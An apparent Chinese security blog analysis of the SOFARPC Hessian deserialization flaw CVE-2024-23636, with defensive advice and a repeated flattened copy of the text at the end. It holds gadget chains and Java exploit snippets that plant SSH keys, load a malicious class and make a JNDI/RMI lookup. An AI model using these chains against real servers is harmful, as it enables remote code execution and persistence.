SOFARPC反序列化漏洞(CVE-2024-23636)浅析
字数 1131 2025-08-18 11:36:53

SOFARPC反序列化漏洞(CVE-2024-23636)深度分析与利用指南

0x01 SOFARPC简介与漏洞概述

SOFARPC是阿里巴巴开源的一个高性能、高扩展性、生产级的Java RPC框架。该漏洞存在于SOFARPC 5.12.0之前的版本中,主要问题在于:

  1. 默认序列化协议:SOFARPC默认使用SOFA Hessian协议进行数据反序列化
  2. 防护机制缺陷:SOFA Hessian采用黑名单机制限制危险类反序列化,但存在绕过可能
  3. 漏洞影响:攻击者可构造特定Gadget链绕过黑名单保护,实现远程代码执行(RCE)
  4. 依赖关系:利用链仅依赖JDK内置类,不依赖任何第三方组件

0x02 漏洞技术分析

序列化机制分析

SOFARPC的序列化/反序列化实现位于com.alipay.sofa.rpc.codec.sofahessian包中:

// SofaHessianSerializer.java
public Object decode(byte[] array, String classType) throws IOException {
    // 两种反序列化方式
    if (STRING_CLASS.equals(classType)) {
        return deserializeString(array);
    } else {
        return deserializeObject(array);
    }
}

关键点:

  • 直接调用序列化/反序列化方法时不经过黑名单检查
  • 反序列化流程本质是Hessian协议的外层封装

漏洞利用链分析

基础利用链(5.10.0及以下版本)

HashMap.equals
    UIDefault.equals
        Hashtable.equals
            UIDefault.get
                UIDefault.getFromHashtable
                SwingLazyValue.createValue

5.11.0版本利用链

TreeSet.putAll
javax.naming.ldap.Rdn$RdnEntry.compareTo
    com.sun.org.apache.xpath.internal.objects.XStringForFSB.equal
        javax.swing.MultiUIDefaults.toString
            UIDefaults.get
                UIDefaults.getFromHashTable
                    UIDefaults$LazyValue.createValue
                    SwingLazyValue.createValue
                        javax.naming.InitialContext.doLookup()

替代利用链

TreeSet.putAll
javax.naming.ldap.Rdn$RdnEntry.compareTo
    com.sun.org.apache.xpath.internal.objects.XString.equal
        javax.sound.sampled.AudioFileFormat.toString
            UIDefaults.get
                UIDefaults.getFromHashTable
                    UIDefaults$LazyValue.createValue
                    SwingLazyValue.createValue
                        javax.naming.InitialContext.doLookup()

黑名单演进

  1. 5.10.0版本:仅限制org.apache.xpath相关类
  2. 5.11.1版本:新增javax.swing.UIDefaults黑名单
  3. 5.12.0版本:黑名单扩展至170+个类,覆盖更多危险类

0x03 漏洞复现指南

环境准备

  1. 搭建SOFARPC服务端(5.12.0以下版本)
  2. 参考官方泛化调用文档准备客户端环境

攻击步骤

  1. 构造特定Gadget链的恶意序列化数据
  2. 通过RPC客户端将payload发送至服务端
  3. 观察命令执行结果

关键配置

需将黑名单替换为5.11.0版本的黑名单配置以复现漏洞:

com.sun.org.apache.xpath.internal.objects.XString

0x04 高级利用技术

SwingLazyValue的深度利用

SwingLazyValue.createValue可调用sun.reflect.misc.MethodUtil.invoke实现任意方法调用:

1. 文件操作利用

// 写SSH授权文件
byte[] allBytes = Files.readAllBytes(new File("/Users/snake/.ssh/authorized_keys").toPath());
Constructor<?> JavaUtils = JavaUtils.class.getDeclaredConstructors()[0];
JavaUtils.setAccessible(true);
Object javaUtils = JavaUtils.newInstance();
Method bytesToFilename = JavaUtils.class.getMethod("writeBytesToFilename", String.class, byte[].class);
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Object[] ags = new Object[]{invoke, new Object(), new Object[]{ bytesToFilename,javaUtils,new Object[]{ "/Users/snake/.ssh/authorized_keys1",allBytes}}};
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",ags);

2. 类加载利用

// 类加载攻击
byte[] bytes = Files.readAllBytes(new File("evil.class").toPath());
SwingLazyValue swingLazyValue1 = new SwingLazyValue("java.lang.System","setProperty",new Object[]{"jfr.save.generated.asm","true"});
SwingLazyValue swingLazyValue2 = new SwingLazyValue("jdk.jfr.internal.Utils","writeGeneratedASM",new Object[]{"/tmp/evil/",bytes});
SwingLazyValue swingLazyValue3 = new SwingLazyValue(evil, null, new Object[0]);

3. JNDI攻击(高版本JDK)

// 开启高版本JDK的JNDI出网
Object useCodebaseOnly = new SwingLazyValue("java.lang.System","setProperty",new Object[]{"java.rmi.server.useCodebaseOnly","false"});
Object rmi = new SwingLazyValue("java.lang.System","setProperty",new Object[]{"com.sun.jndi.rmi.object.trustURLCodebase","true"});
Object ldap = new SwingLazyValue("java.lang.System","setProperty",new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"});
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("a", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"rmi://127.0.0.1:1099/remoteExploit8"}));

4. 二次反序列化攻击

// 利用javax.management.remote.rmi进行二次反序列化
File file = new File("jdk的序列化bin");
byte[] fileBytes = Files.readAllBytes(file.toPath());
String base64 = Base64.getEncoder().encodeToString(fileBytes);

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+base64);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
Method connect = rmiConnector.getClass().getMethod("connect");
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Object[] ags = new Object[]{invoke, new Object(), new Object[]{ connect,rmiConnector, null}};

0x05 防御建议

  1. 升级SOFARPC:升级至5.12.0或更高版本
  2. 序列化防护
    • 使用白名单机制替代黑名单
    • 考虑使用JSON等更安全的序列化格式
  3. 运行时防护
    • 启用Java安全管理器
    • 监控可疑的JNDI/RMI调用
  4. 网络防护
    • 限制RPC服务的网络暴露范围
    • 实施网络层访问控制

0x06 参考资源

  1. Apache Dubbo反序列化漏洞复现分析
  2. Hessian协议安全研究
  3. XStream黑名单绕过技术
  4. SOFARPC官方黑名单文件:5.12.0版本黑名单
SOFARPC反序列化漏洞(CVE-2024-23636)深度分析与利用指南 0x01 SOFARPC简介与漏洞概述 SOFARPC是阿里巴巴开源的一个高性能、高扩展性、生产级的Java RPC框架。该漏洞存在于SOFARPC 5.12.0之前的版本中,主要问题在于: 默认序列化协议 :SOFARPC默认使用SOFA Hessian协议进行数据反序列化 防护机制缺陷 :SOFA Hessian采用黑名单机制限制危险类反序列化,但存在绕过可能 漏洞影响 :攻击者可构造特定Gadget链绕过黑名单保护,实现远程代码执行(RCE) 依赖关系 :利用链仅依赖JDK内置类,不依赖任何第三方组件 0x02 漏洞技术分析 序列化机制分析 SOFARPC的序列化/反序列化实现位于 com.alipay.sofa.rpc.codec.sofahessian 包中: 关键点: 直接调用序列化/反序列化方法时不经过黑名单检查 反序列化流程本质是Hessian协议的外层封装 漏洞利用链分析 基础利用链(5.10.0及以下版本) 5.11.0版本利用链 替代利用链 黑名单演进 5.10.0版本 :仅限制 org.apache.xpath 相关类 5.11.1版本 :新增 javax.swing.UIDefaults 黑名单 5.12.0版本 :黑名单扩展至170+个类,覆盖更多危险类 0x03 漏洞复现指南 环境准备 搭建SOFARPC服务端(5.12.0以下版本) 参考官方泛化调用文档准备客户端环境 攻击步骤 构造特定Gadget链的恶意序列化数据 通过RPC客户端将payload发送至服务端 观察命令执行结果 关键配置 需将黑名单替换为5.11.0版本的黑名单配置以复现漏洞: 0x04 高级利用技术 SwingLazyValue的深度利用 SwingLazyValue.createValue 可调用 sun.reflect.misc.MethodUtil.invoke 实现任意方法调用: 1. 文件操作利用 2. 类加载利用 3. JNDI攻击(高版本JDK) 4. 二次反序列化攻击 0x05 防御建议 升级SOFARPC :升级至5.12.0或更高版本 序列化防护 : 使用白名单机制替代黑名单 考虑使用JSON等更安全的序列化格式 运行时防护 : 启用Java安全管理器 监控可疑的JNDI/RMI调用 网络防护 : 限制RPC服务的网络暴露范围 实施网络层访问控制 0x06 参考资源 Apache Dubbo反序列化漏洞复现分析 Hessian协议安全研究 XStream黑名单绕过技术 SOFARPC官方黑名单文件: 5.12.0版本黑名单